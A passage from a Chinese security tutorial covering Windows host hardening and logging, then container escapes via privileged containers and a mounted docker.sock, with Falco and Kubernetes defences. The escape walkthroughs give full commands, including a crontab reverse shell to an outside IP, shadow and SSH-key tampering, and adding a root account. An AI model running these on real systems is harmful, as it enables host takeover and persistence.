New-AppLockerPolicy -RuleType Path -User Everyone -Path "%TEMP%\*" -Action Deny

# ② 发布者规则:只允许特定厂商签名的程序
$rule = New-AppLockerPolicy -RuleType Publisher -User Everyone -Publisher "CN=Microsoft Corporation" -Action Allow

# ③ 哈希规则:只允许特定文件(适合固定环境)
New-AppLockerPolicy -RuleType Hash -FilePath "C:\Program Files\App\app.exe" -Action Allow

# 应用策略
Set-AppLockerPolicy -XmlPolicy (Get-Content C:\Temp\policy.xml -Raw)

# 测试模式(先审计不拦截,避免搞挂业务)
Set-AppLockerPolicy -XmlPolicy $policyXml -Merge -ErrorAction SilentlyContinue
# 审计日志在:事件查看器 → Applications and Services Logs → Microsoft → Windows → AppLocker
#   Event 8003 = 本应被阻止(审计模式下只是记录)
#   Event 8004 = 被阻止(强制模式)

WDAC(Windows Defender Application Control):

比 AppLocker 更强(内核级、能管驱动),但配置更复杂、只能有一套策略。
新项目推荐用 WDAC(AppLocker 已进入维护状态,不再加新功能)。

关键策略选项:
  - 允许 WHQL 签名驱动
  - 允许微软签名程序
  - 允许商店应用
  - 禁止未签名驱动(★ 挡住 BYOVD)
  - 开启 ISG(Intelligent Security Graph,云端信誉)

配合 HVCI(基于虚拟化的代码完整性):
  → 内核驱动必须经过完整性检查,BYOVD 基本被废

④ 审计策略与关键事件 ID(★ 应急响应的数据源)

必开的审计策略:

# 查看当前审计配置
auditpol /get /category:*

# 推荐开启(命令行一键)
auditpol /set /subcategory:"登录"                  /success:enable /failure:enable
auditpol /set /subcategory:"注销"                  /success:enable
auditpol /set /subcategory:"账户登录"              /success:enable /failure:enable
auditpol /set /subcategory:"其他登录/注销事件"     /success:enable /failure:enable
auditpol /set /subcategory:"进程创建"              /success:enable
auditpol /set /subcategory:"进程终止"              /success:enable
auditpol /set /subcategory:"凭据验证"              /success:enable /failure:enable
auditpol /set /subcategory:"文件系统"              /success:enable /failure:enable
auditpol /set /subcategory:"注册表"                /success:enable /failure:enable
auditpol /set /subcategory:"其他对象访问事件"      /success:enable /failure:enable
auditpol /set /subcategory:"安全组管理"            /success:enable /failure:enable
auditpol /set /subcategory:"用户账户管理"          /success:enable /failure:enable
auditpol /set /subcategory:"计算机账户管理"        /success:enable /failure:enable
auditpol /set /subcategory:"审核策略更改"          /success:enable /failure:enable
auditpol /set /subcategory:"系统完整性"            /success:enable /failure:enable

# ★ 开启"进程创建"的命令行记录(默认不记命令行,对取证极其重要!)
#    组策略:计算机配置 → 管理模板 → 系统 → 审核进程创建
#    → "在进程创建事件中加入命令行" = 已启用
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f

# 增大安全日志上限(默认 20MB,攻击者的洪水日志很快就能刷满)
wevtutil sl Security /ms:1073741824      # 1GB
wevtutil sl Security /rt:false           # 不自动覆盖(满了就停,逼你来看)
# 或者用 /rt:true + 归档

必须记住的事件 ID 表(面试/实战双用):

事件 ID 含义 为什么重要
4624 登录成功 谁、从哪、什么类型(Type 2 交互 / 3 网络 / 10 RDP / 9 NewCredentials)
4625 登录失败 爆破检测、密码喷洒检测
4634 注销 会话时长分析
4648 使用显式凭据登录(runas) ★ 检测横向移动(PsExec/WMI 常产生)
4672 授予特殊权限 ★ 每当有人拿到 SeDebugPrivilege 等就记一条 = “有人提权了”
4688 进程创建 ★ 命令行审计(需开 ProcessCreationIncludeCmdLine)
4689 进程退出 配合 4688 看进程存活时间
4697 安装了服务 ★ 服务型持久化
4698 创建了计划任务 ★ 计划任务型持久化
4699/4702 计划任务被修改/删除
4720 创建用户账户 ★ 建后门账号
4726 删除用户 掩盖痕迹
4732 成员被添加到安全组 ★ 把自己加进 Domain Admins
4728/4732/4756 加入全局/本地/通用组 同上
4738 用户账户被更改 改密码、改属性
4741/4742 创建/修改计算机账户 ★ 域内新增机器,常见于 RBCD 攻击
5136 目录服务对象被修改 ★ AD 对象变更(含 GPO 链接)
1102 安全日志被清空 ★★ 最高优先级告警,有人清日志了
104 事件日志被清除(系统日志) 同上
7045 服务已安装(系统日志) 服务型持久化(比 4697 更早出现)
4103 PowerShell 模块日志
4104 PowerShell 脚本块日志 ★★ 解密后记录 PowerShell 代码,抓无文件攻击
8003/8004 AppLocker 审计/阻止
1/7/10/11/13 Sysmon:进程创建/DLL 加载/进程访问/文件创建/注册表 ★ Sysmon 必装

Sysmon 必装理由与关键规则:

# 安装(用 SwiftOnSecurity 社区配置)
sysmon.exe -accepteula -i sysmonconfig-export.xml

# 或更简洁的 Ion-storm 配置 / 自己写最小配置

# 最小可用配置(够用了)
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- 1: 进程创建(含命令行 + 父进程,★ 最重要) -->
    <ProcessCreate onmatch="exclude">
      <Image condition="contains">C:\Program Files\YourAV\</Image>
      <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs</CommandLine>
    </ProcessCreate>

    <!-- 10: 进程访问(抓 LSASS dump) -->
    <ProcessAccess onmatch="include">
      <TargetImage condition="contains">lsass.exe</TargetImage>
    </ProcessAccess>

    <!-- 11: 文件创建(抓落地木马,尤其 web 目录和 temp) -->
    <FileCreate onmatch="include">
      <TargetFilename condition="end with">.exe</TargetFilename>
      <TargetFilename condition="end with">.dll</TargetFilename>
      <TargetFilename condition="end with">.ps1</TargetFilename>
      <TargetFilename condition="end with">.bat</TargetFilename>
    </FileCreate>

    <!-- 13: 注册表(抓 Run 键持久化) -->
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">CurrentVersion\Run</TargetObject>
      <TargetObject condition="contains">CurrentVersion\Winlogon</TargetObject>
      <TargetObject condition="contains">CurrentVersion\Image File Execution Options</TargetObject>
    </RegistryEvent>

    <!-- 3: 网络连接(抓 C2 外连) -->
    <NetworkConnect onmatch="exclude">
      <Image condition="is">C:\Windows\System32\svchost.exe</Image>
    </NetworkConnect>

    <!-- 7: DLL 加载(抓劫持,日志量大,慎用) -->
    <ImageLoad onmatch="include">
      <ImageLoaded condition="end with">version.dll</ImageLoaded>
      <ImageLoaded condition="end with">profapi.dll</ImageLoaded>
    </ImageLoad>
  </EventFiltering>
</Sysmon>

PowerShell 日志(★ 抓无文件攻击的关键):

# ① 开启脚本块日志(Script Block Logging)
#    组策略:管理模板 → Windows PowerShell → "打开 PowerShell 脚本块日志记录"
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
# ★ 效果:所有 PowerShell 代码(包括从内存加载的、Base64 混淆的)
#   在【解密后】记录到 Event 4104。这是对抗混淆的杀手锏。

# ② 开启模块日志(Module Logging)
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging /t REG_DWORD /d 1 /f

# ③ 开启转录(Transcription,把所有会话存成文本文件)
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription" /v EnableTranscripting /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription" /v OutputDirectory /t REG_SZ /d "C:\PSTranscripts" /f

# ④ 约束语言模式(CLM,配合 AppLocker/WDAC)
#    开了之后 PowerShell 只能用基础语言功能,不能 P/Invoke 调 Win32 API
#    很多攻击工具直接废掉
[Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine')

# ⑤ 升级到 PowerShell 5.1+ 并装 AMSI
#    AMSI(反恶意软件扫描接口):PowerShell 代码执行前先送杀软扫描
#    Win10+ 自带,PowerShell 5.1 默认启用
#    验证:
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$a.GetField('amsiInitFailed','NonPublic,Static').GetValue($null)
# 返回 False = AMSI 正常工作

⑤ Windows 主机加固检查清单

【账户与认证】
  □ 本地管理员账号已用 LAPS 管理(每台不同、定期轮换)
  □ 禁用了 Guest 和不需要的账号
  □ 密码策略 ≥12 位 + 复杂度 + 90 天
  □ 账户锁定策略已配置(5 次锁定)
  □ 域管账号不能登录普通工作站(限制"允许本地登录")
  □ 关键系统启用 MFA(RDP / VPN / 管理后台)

【补丁与系统】
  □ WSUS/SCCM/Intune 统一管理,高危补丁 7 天内
  □ 禁用了 SMBv1
  □ 启用了 SMB 签名
  □ LAN Manager 级别 = 5(仅 NTLMv2)
  □ 域控上关闭 Print Spooler
  □ 启用了 HVCI + VBS(新硬件建议开)

【凭据保护】
  □ 关闭 WDigest(UseLogonCredential = 0)
  □ 开启 LSA Protection(RunAsPPL)
  □ 条件允许则开启 Credential Guard
  □ SYSVOL 里无 cpassword(已扫描确认)
  □ 服务账号用 gMSA,密码无人知晓

【权限最小化】
  □ 业务服务不用 LocalSystem / Domain Admin 跑
  □ 无本地管理员权限的办公用户(★ 最有效的一条)
  □ 服务目录、程序目录不可被普通用户写
  □ 服务的 DACL 未对 Everyone/Users 开放修改

【日志与监控】
  □ 安全日志 ≥ 1GB,不自动覆盖(或配归档)
  □ 已开启进程创建 + 命令行审计(4688 + IncludeCmdLine)
  □ 已安装 Sysmon(含 LSASS 访问规则)
  □ 已开启 PowerShell 脚本块日志(4104)+ 模块日志 + 转录
  □ 日志实时外发到 SIEM(★ 本机日志不可信)
  □ 关键告警已配置:1102(清日志)、4720/4732(建账号/加组)、
                    7045/4697(装服务)、4698(建任务)、4648(显式凭据)

【应用控制】
  □ 启用 AppLocker / WDAC(至少禁止从 Temp/Downloads 执行)
  □ 开启攻击面减少规则(ASR):
      - 阻止 Office 创建子进程
      - 阻止 Office 执行宏(或只允许签名宏)
      - 阻止可执行文件运行除非满足普及率/年龄/可信列表条件
      - 阻止从 PSExec 和 WMI 攻击中窃取凭据(★)
      - 阻止进程创建来自 LSASS

【网络】
  □ 防火墙开启,禁用了不必要的入站(135/139/445/3389 不要对全网开放)
  □ 出站也有限制(至少限制 SMB 出站,防横向)
  □ 主机隔离/微分段(关键服务器之间不互通)

6.6 容器逃逸与云原生主机安全

本节定位:现在几乎没有公司不跑容器。但很多人的认知停留在 “容器是轻量虚拟机”——这是错的,而且这个错误认知每年都在造成真实事故。

一句话纠正:
  虚拟机:每个 VM 有自己的【操作系统内核】,靠 Hypervisor 隔离
  容器  :所有容器【共享宿主机同一个内核】,只靠内核的 Namespace 做"视野隔离"

后果:
  虚拟机逃逸 = 攻破 Hypervisor(极难,一年出不了几个)
  容器逃逸   = 攻破 Namespace 的隔离(相对容易,姿势一大把)

★ 容器里的 root 和宿主机的 root 是【同一个 UID 0】。
  之所以"容器里的 root 干不了宿主机的事",
  仅仅是因为它被 Namespace 蒙住了眼睛、被 Capability 捆住了手。
  一旦这两样被拿掉,它就是真的 root。

6.6.1 先讲清楚:容器的隔离到底靠什么

① 容器不是虚拟机(用生活类比讲透)

【虚拟机】= 独栋别墅
  每栋有自己的地基(内核)、自己的水电(驱动)、自己的墙(Hypervisor 隔离)
  安全:一栋着火,烧不到隔壁
  代价:重(每栋都要一套地基),慢(开机要启动一整套系统)

【容器】= 同一栋楼里的公寓,每人发一副【VR 眼镜】
  大家共享同一套地基、同一套水电(★ 共享内核)
  你戴上眼镜,看到的"我家"是 3 室 2 厅(独立的 PID、文件系统、网卡)
  你摘下眼镜,发现所有人在同一栋楼里

  安全取决于:这副 VR 眼镜做得好不好 + 你能不能偷偷摘下来

这个“VR 眼镜”在 Linux 里叫什么——就是下面两个内核特性。

② Namespace(命名空间):负责“蒙住眼睛”

一句话定义:让进程只能看到“一部分”系统资源——你以为你看到的是全部,其实是被裁剪过的视图。

生活类比:

整栋楼有 1000 个房间(宿主机上 1000 个进程),
但你戴上眼镜后,只能看到 5 个房间,而且编号是 1、2、3、4、5。
你以为自己是 1 号(PID 1),其实在楼里你是 827 号。

七种 Namespace(面试常考,要能背出来):

Namespace 隔离什么 容器里的表现 逃逸价值
Mount (mnt) 挂载点 看不到宿主机其他挂载、有自己的 / ★★★ 挂载宿主机目录就能破
PID 进程号 ps aux 只看到容器内进程,自己是 PID 1 ★★ 能看进程列表是很多攻击的前提
Net 网络栈(网卡、路由、端口) 有自己的 eth0、自己的 iptables ★ 网络隔离,但共享内核协议栈
IPC 进程间通信(消息队列、共享内存) 看不到宿主机其他进程的 IPC ★ 配合 shm 挂载可打
UTS 主机名和域名 有自己的 hostname 无直接价值
User 用户和 UID 映射 容器内 root(0) 可映射成宿主机普通用户(100000) ★★★ User Namespace 是最强的容器隔离手段
Cgroup cgroup 根目录视图 看不到宿主机 cgroup 层级 低
(Time,较新) 系统时间 — 低

查看某个进程的 Namespace:

# 查看容器主进程在宿主机上的真实 PID
docker inspect --format '{{.State.Pid}}' <容器名>
# 比如输出 28371

# 查看这个进程的 Namespace(宿主机上执行)
ls -l /proc/28371/ns
# 输出示例:
#   lrwxrwxrwx 1 root root 0 Sep  2 10:00 cgroup -> 'cgroup:[4026531835]'
#   lrwxrwxrwx 1 root root 0 Sep  2 10:00 ipc    -> 'ipc:[4026532270]'
#   lrwxrwxrwx 1 root root 0 Sep  2 10:00 mnt    -> 'mnt:[4026532268]'
#   lrwxrwxrwx 1 root root 0 Sep  2 10:00 net    -> 'net:[4026532273]'
#   lrwxrwxrwx 1 root root 0 Sep  2 10:00 pid    -> 'pid:[4026532271]'
#   lrwxrwxrwx 1 root root 0 Sep  2 10:00 user   -> 'user:[4026531837]'   ← ★ 注意这个
#   lrwxrwxrwx 1 root root 0 Sep  2 10:00 uts    -> 'uts:[4026532269]'

# ★ 关键判读:
#   括号里的数字是 namespace 的 inode 号。
#   如果 user 那一行的数字 == 宿主机 init 进程(1) 的 user namespace,
#   说明【没有开 User Namespace】= 容器里的 root 就是宿主机的 root
#   这是 Docker 的默认行为!

# 对比宿主机 init 进程的 namespace
ls -l /proc/1/ns
# 如果 user 那行数字一样 → 共享 user namespace(默认情况)

# 用 nsenter 进入容器的 namespace(宿主机上,运维/取证常用)
nsenter -t 28371 -m -u -i -n -p -u bash
# 或者直接执行一条命令
nsenter -t 28371 --all -- bash -c "ps aux"

③ cgroup(控制组):负责“捆住手”

一句话定义:限制进程能用多少资源(CPU/内存/磁盘 IO/网络),防止一个容器吃光整台机器。

生活类比:

Namespace = 蒙眼(你看不到别人)
cgroup    = 定额(你每月只能用水 10 吨、用电 200 度)

两者【不是安全机制】:
  Namespace 是"视野隔离",不是权限隔离
  cgroup 是"资源限额",不是权限隔离

cgroup v1 和 v2 的区别(简单了解):

cgroup v1:每种资源一个独立的层级树(cpu、memory、blkio 各自挂)
           → 混乱,controller 分散挂载,容易出现权限问题
cgroup v2:所有资源统一一棵树
           → 更清晰,K8s 1.25+ 推荐,Docker 20.10+ 支持

查看 cgroup:

# 容器内查看自己的限额
cat /sys/fs/cgroup/memory.max            # v2:内存上限
cat /sys/fs/cgroup/cpu.max               # v2:CPU 上限
cat /sys/fs/cgroup/memory/memory.limit_in_bytes   # v1

# ★ 攻击者视角:如果 /sys/fs/cgroup 被挂载进容器(可写),
#   就能用 release_agent 机制逃逸(见 6.6.4)
mount | grep cgroup
# 如果看到 rw(可写)的 cgroup 挂载 → 危险信号

④ 联合文件系统(OverlayFS):容器镜像是怎么“分层”的

镜像是只读的多层(layer),容器启动时在上面加一层可写层:

  ┌─────────────────────────┐
  │  可写层(容器层)        │ ← 你在容器里改的东西
  ├─────────────────────────┤
  │  Layer 3: COPY app.jar   │ ← 只读
  ├─────────────────────────┤
  │  Layer 2: RUN apt install│ ← 只读
  ├─────────────────────────┤
  │  Layer 1: FROM ubuntu    │ ← 只读(基础镜像)
  └─────────────────────────┘

逃逸相关的一点:
  如果宿主机的 / 或 /var/lib/docker 被挂载进容器(hostPath),
  你就能读到所有容器的可写层和镜像层 → 拿到所有容器的数据

⑤ 容器 vs 虚拟机 对比表

维度 虚拟机 容器
隔离层 Hypervisor(硬件级) Namespace + cgroup(内核级)
内核 每个 VM 独立 共享宿主机内核
启动速度 分钟级 秒级 / 毫秒级
资源开销 重(每个都要跑完整 OS) 轻
隔离强度 强(逃逸需攻破 Hypervisor,罕见) 较弱(共享内核是原罪)
逃逸后果 拿到 Hypervisor 上的其他 VM 直接拿到宿主机 root = 上面所有容器
内核漏洞影响 只影响该 VM 一个内核漏洞打到所有容器
典型加固 补丁、最小化 降权、drop capabilities、seccomp、只读根、非 root

核心认知: 容器的安全边界比虚拟机弱得多。 所以多租户场景下(不同客户/不同敏感级别的负载跑在同一台机器上), 必须上强隔离:gVisor、Kata Containers、或干脆用虚拟机。


6.6.2 逃逸姿势一:特权容器(–privileged)

这是最简单、最暴力、也最常见的一种。

① 特权容器是什么

普通容器:
  Docker 默认给容器 14 个 capability(去掉了 CAP_SYS_ADMIN 等危险项)
  + 用 seccomp 挡掉 300+ 个系统调用
  + 设备节点只给少数几个(/dev/null、/dev/zero...)

特权容器(docker run --privileged):
  ★ 拥有宿主机【全部 capability】(约 40 个)
  ★ 能访问宿主机【所有设备】(/dev 全部挂进来)
  ★ seccomp 被关闭
  ★ AppArmor/SELinux 标签被摘掉

一句话:特权容器 ≈ 宿主机 root,只差一个 Namespace 的"蒙眼布"。
而这块蒙眼布,用一条 mount 命令就能摘掉。

② 完整逃逸过程

# ===== 场景:攻击者拿到了特权容器的 shell(比如在 K8s 里起了一个特权 Pod)=====

# ① 先确认自己是不是特权容器(★ 第一步永远是信息收集)
#    方法 1:看 capability
capsh --print
grep Cap /proc/self/status
#   CapEff: 0000003fffffffff   ← 全是 f = 全部 capability
#   (普通容器应该是 00000000a80425fb 之类)

#    方法 2:看能不能挂载
mount -t tmpfs none /mnt && echo "★ 能 mount → 特权/有 CAP_SYS_ADMIN"

#    方法 3:看 /dev 里有没有宿主机的磁盘
ls /dev | grep -E "^sd|^nvme|^vd"
# 如果看到 sda、sdb、nvme0n1 → 宿主机磁盘挂进来了

# ② 看宿主机有几块盘
fdisk -l
# 输出:
#   Disk /dev/sda: 500 GiB, ...     ← 这就是宿主机的系统盘!
#   Disk /dev/mapper/vg0-lv_root: ...

# ③ 挂载宿主机根分区
mkdir -p /host
mount /dev/sda1 /host
# 或者如果是 LVM:
mount /dev/mapper/centos-root /host

# ④ 验证:这就是宿主机的文件系统
ls /host
#   bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
cat /host/etc/hostname          # 宿主机的主机名
cat /host/etc/shadow            # ★ 宿主机的密码哈希!

# ⑤ 拿到宿主机的 root 权限(多种方式)

#   【方式 A】chroot(最简单)
chroot /host /bin/bash
#   现在你就在宿主机的文件系统里了
#   但进程还在容器的 namespace 里,看不到宿主机的进程

#   【方式 B】写 crontab(持久化)
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'" >> /host/etc/crontab
#   等 1 分钟,宿主机(真正的宿主机 namespace)会执行它,拿到真正的 root shell

#   【方式 C】改 /etc/shadow(加个 root 账号)
#    先生成密码哈希
openssl passwd -6 -salt xyz 'P@ssw0rd123'
#    把输出替换到 /host/etc/shadow 里 root 那行的第二个字段
sed -i 's|^root:[^:]*:|root:$6$xyz$Wg8....:|' /host/etc/shadow
#    然后 ssh root@宿主机IP

#   【方式 D】写 SSH 公钥
mkdir -p /host/root/.ssh
echo "ssh-rsa AAAA...攻击者公钥" >> /host/root/.ssh/authorized_keys
#   直接 ssh 上去

#   【方式 E】★ 最干净:直接用宿主机 PID namespace 执行命令
#    用 nsenter 进入宿主机的 init 进程 namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
#   ★ 这一句让你【完全进入宿主机】,连文件系统都是宿主机的

方式 E 的 nsenter 最值得记住: 在特权容器里执行 nsenter --target 1 --all -- bash, 你就等于“附身”到了宿主机的 1 号进程所在的全部 namespace。 这是特权容器逃逸最短的路径(一行命令)。

③ 为什么会有特权容器(现实原因)

真实世界里特权容器到处都是,原因包括:

  ① CI/CD 需要 Docker-in-Docker(DinD)
     在容器里跑 docker build → 必须挂 docker.sock 或者用 privileged

  ② 某些监控/运维 agent
     要读宿主机的 /proc、要装内核模块、要抓包

  ③ 网络插件(CNI):Calico、Cilium 要操作宿主机网络栈

  ④ 存储插件(CSI):要挂载块设备

  ⑤ 图省事
     "加个 --privileged 就好了,别问我为什么" ← 最常见的原因

★ 关键原则:
   这些"需要特权"的场景,都应该用【精确的 capability】替代"全给"。
   比如只需要抓包 → 给 CAP_NET_RAW + CAP_NET_ADMIN
   只需要 mount → 给 CAP_SYS_ADMIN(虽然这个也危险)
   只有真正需要访问所有设备时才用 --privileged,而且应该为零。

④ 检测与防御

检测:

# ① 找出所有特权容器(宿主机上)
docker ps --quiet | xargs docker inspect --format '{{.Id}}: Privileged={{.HostConfig.Privileged}}' | grep true

# K8s 里找特权 Pod
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] |
  select(.spec.containers[].securityContext.privileged == true) |
  "\(.metadata.namespace)/\(.metadata.name)"'

# ② 检查 capability
docker inspect <容器> --format '{{.HostConfig.CapAdd}}'
# 如果包含 CAP_SYS_ADMIN / ALL → 高危

K8s 防御:Pod Security Admission(PSA)

# ========== 方法一:命名空间级别打标签(推荐,K8s 1.25+ 内置)==========
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    # 三个模式:enforce(拒绝)/ audit(记录)/ warn(警告但仍允许)
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted
PSA 的三个安全等级(从松到紧):

  privileged(特权级)
    - 几乎不限制,允许特权容器
    - 用途:系统组件(kube-system 下的 CNI、CSI)

  baseline(基线级)
    - 禁止已知的特权提升
    - 禁止:privileged、hostPath、hostPID/hostIPC/hostNetwork、
            危险 capability(SYS_ADMIN、NET_ADMIN 等)、
            hostPort、特权提升(allowPrivilegeEscalation)
    - 适合:大部分普通业务

  restricted(受限级)★ 推荐
    - baseline 的全部 +
    - 必须以非 root 运行(runAsNonRoot: true)
    - 必须 drop ALL capabilities(只允许加 NET_BIND_SERVICE)
    - 必须是 seccomp RuntimeDefault 或 Localhost
    - 禁止 /proc 的某些挂载类型
    - 必须定义 resource limits(K8s 1.30+)
    - 禁止 Volume 类型白名单之外的一切(只有 configMap、secret、
      emptyDir、persistentVolumeClaim、projected、downwardAPI 等)

  ★ 现实建议:
    新集群直接给业务 namespace 上 restricted。
    老集群先上 warn + audit 模式跑两周,看哪些 Pod 会违规,
    修完再切 enforce。
    硬切 enforce 很容易把业务搞挂(很多老镜像就是 root 跑的)。

Falco 检测规则:

# falco_rules_container_escape.yaml
- rule: 特权容器启动
  desc: 检测有特权容器被启动(可能是攻击者在起逃逸跳板)
  condition: >
    container_started and container
    and container.privileged=true
  output: >
    特权容器启动 (容器=%container.name 镜像=%container.image.repository
    用户=%user.name 命名空间=%k8s.ns.name Pod=%k8s.pod.name)
  priority: WARNING
  tags: [container, escape, cis]

- rule: 容器内执行 mount 系统调用
  desc: 容器里执行 mount 通常是逃逸的前兆
  condition: >
    spawned_process and container
    and proc.name in (mount, umount, nsenter, unshare)
  output: >
    容器内执行敏感命令 (命令=%proc.cmdline 容器=%container.name
    镜像=%container.image.repository 用户=%user.name)
  priority: CRITICAL
  tags: [container, escape]

- rule: nsenter 进入宿主机 namespace
  desc: nsenter --target 1 是特权容器逃逸的经典手法
  condition: >
    spawned_process and container
    and proc.name = nsenter
    and (proc.cmdline contains "--target 1" or proc.cmdline contains "-t 1")
  output: >
    ★ 疑似容器逃逸 (命令=%proc.cmdline 容器=%container.name Pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [container, escape, attack]

6.6.3 逃逸姿势二:挂载 docker.sock(★ 最被低估的危险)

如果说特权容器是“明着给钥匙”,那挂载 docker.sock 就是“不小心把钥匙放门口”。 而且它比特权容器更常见,因为它看起来“很无辜”。

① docker.sock 是什么

一句话定义:Docker 守护进程(dockerd)的 Unix socket 通信入口。跟它说话,就是跟“宿主机上的 root 进程”说话。

正常的 docker 命令是怎么工作的:

  $ docker ps
      ↓
  docker CLI(客户端)通过 /var/run/docker.sock 发请求
      ↓
  dockerd(守护进程,以 root 运行在宿主机上)收到请求
      ↓
  dockerd 去创建/管理容器

★ 关键点:
  dockerd 是【宿主机上的 root 进程】。
  谁能跟它说话,谁就能让它干任何事——
  包括"帮我起一个挂载宿主机根目录的特权容器"。

  所以:把 /var/run/docker.sock 挂进容器
      = 把"宿主机 root 的遥控器"递给了容器里的人。

生活类比:

docker.sock 就像【物业总控台的电话分机】。
正常这电话只在物业办公室里(宿主机)。
但你装修时把分机接到了你家(挂进容器)。
现在你拿起电话说"给我开所有房间的门",
物业(dockerd,root)照做——因为他只认"电话是从内线打来的"。

② 完整逃逸过程(两行命令)

# ===== 场景:容器里发现了 /var/run/docker.sock =====

# ① 先确认(容器里执行)
ls -la /var/run/docker.sock
# srw-rw---- 1 root root 0 Sep  2 10:00 /var/run/docker.sock

# ② 测试能不能通信
curl -s --unix-socket /var/run/docker.sock http://localhost/version
# 如果返回 Docker 版本信息的 JSON → 能通信,你赢了
# {
#   "Version": "24.0.7",
#   "ApiVersion": "1.43",
#   "KernelVersion": "5.15.0-91-generic",
#   ...
# }

# ③ ★ 逃逸:起一个新的特权容器,把宿主机根目录挂进来
docker -H unix:///var/run/docker.sock run -it \
    -v /:/host \
    --privileged \
    --net=host --pid=host --ipc=host \
    --name escape_pod \
    alpine chroot /host /bin/bash

# 参数解释:
#   -H unix:///var/run/docker.sock  用容器内的 socket 通信
#   -v /:/host                     把宿主机根目录挂到新容器的 /host
#   --privileged                   新容器是特权的
#   --net=host --pid=host          共享宿主机的网络和 PID namespace
#   alpine                         用 alpine 镜像(小,通常本地就有或能拉)
#   chroot /host /bin/bash         切到宿主机文件系统

# 执行完你就拿到了宿主机的 root shell

# ===== 如果容器里没有 docker CLI 客户端 =====

# 方法 A:直接调 HTTP API(curl 就够了,不需要 docker 命令)
#   ① 先拉取 alpine 镜像
curl -s --unix-socket /var/run/docker.sock \
     -X POST "http://localhost/v1.43/images/create?fromImage=alpine&tag=latest"

#   ② 创建容器(★ 关键:HostConfig 里 Binds 挂根目录,Privileged=true)
curl -s --unix-socket /var/run/docker.sock \
     -H "Content-Type: application/json" \
     -X POST "http://localhost/v1.43/containers/create?name=escape" \
     -d '{
           "Image": "alpine",
           "Cmd": ["/bin/sh"],
           "Tty": true,
           "OpenStdin": true,
           "Privileged": true,
           "HostConfig": {
             "Binds": ["/:/host"],
             "PidMode": "host",
             "NetworkMode": "host"
           }
         }'
#   返回 {"Id":"abc123...","Warnings":[]}

#   ③ 启动
curl -s --unix-socket /var/run/docker.sock \
     -X POST "http://localhost/v1.43/containers/escape/start"

#   ④ 在里面执行命令(chroot 到宿主机,加个 root 账号)
curl -s --unix-socket /var/run/docker.sock \
     -H "Content-Type: application/json" \
     -X POST "http://localhost/v1.43/containers/escape/exec" \
     -d '{
           "Cmd": ["chroot", "/host", "sh", "-c",
                   "echo \"hacker:x:0:0::/root:/bin/bash\" >> /etc/passwd"],
           "Tty": false,
           "AttachStdout": true
         }'
#   返回 {"Id":"exec123..."}
curl -s --unix-socket /var/run/docker.sock \
     -H "Content-Type: application/json" \
     -X POST "http://localhost/v1.43/exec/exec123/start" -d '{"Detach":false,"Tty":false}'

#   ⑤ 现在 ssh hacker@宿主机(密码为空),或者继续用 exec 做任何事

# 方法 B:装一个 docker 客户端
apt-get update && apt-get install -y docker.io
# 或下载静态二进制
curl -fsSL https://download.docker.com/linux/static/stable/x86_64/docker-24.0.7.tgz -o docker.tgz
tar xzf docker.tgz && ./docker/docker -H unix:///var/run/docker.sock ps

③ 谁在挂 docker.sock(为什么它这么常见)

真实世界里挂 docker.sock 的场景(都很"合理",所以没人拦):

  ① 【CI/CD】Jenkins / GitLab Runner 容器
     需要在容器里跑 docker build → 挂 docker.sock
     → 拿到 Jenkins 容器的权限 = 拿到宿主机

  ② 【容器管理面板】Portainer / Rancher Agent / Lazydocker
     要管理宿主机上的所有容器 → 挂 socket

  ③ 【自动更新】Watchtower / ouroboros
     要监控和重启其他容器 → 挂 socket

  ④ 【日志/监控】某些 agent
     要通过 docker API 拿容器列表和日志 → 挂 socket

  ⑤ 【图省事】
     "就挂个 socket,怎么了?"

★ 正确做法(替代方案):
  - DinD(Docker in Docker):在容器里跑一个独立的 dockerd
    → 安全(隔离的),但需要 --privileged,性能差
  - Rootless Docker:dockerd 以普通用户运行
  - Kaniko / Buildah / Podman:不需要 daemon 就能构建镜像 ★ 推荐
  - 只给需要的 API:用 docker-socket-proxy 做 HTTP 层的 ACL,
    只允许 GET /containers/json 这种只读接口,禁止 POST /containers/create

docker-socket-proxy 示例(最实用的缓解方案):

# docker-compose.yml
# 用一个代理容器挡在 docker.sock 前面,只放行只读 API
version: '3.8'
services:
  dockerproxy:
    image: tecnativa/docker-socket-proxy
    container_name: dockerproxy
    environment:
      # 只允许"读"操作
      CONTAINERS: 1        # 允许列容器
      IMAGES: 1            # 允许列镜像
      INFO: 1              # 允许看 docker info
      VERSION: 1
      NETWORKS: 1
      VOLUMES: 1

      # ★ 禁止所有"写"操作(这些是逃逸的关键)
      POST: 0              # 禁止所有 POST(创建容器、创建 exec)
      BUILD: 0
      COMMIT: 0
      CONFIGS: 0
      CONTAINERS_CREATE: 0
      EXEC: 0              # ★ 禁止 exec(最关键)
      SERVICES: 0
      SWARM: 0
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro    # ★ 只读挂
    networks:
      - proxy_net
    restart: unless-stopped

  # 你的应用只连代理,不直连 socket
  myapp:
    image: myapp:latest
    environment:
      DOCKER_HOST: tcp://dockerproxy:2375
    networks:
      - proxy_net

networks:
  proxy_net:
    driver: bridge

④ 检测与防御

# ① 检查所有容器有没有挂 docker.sock
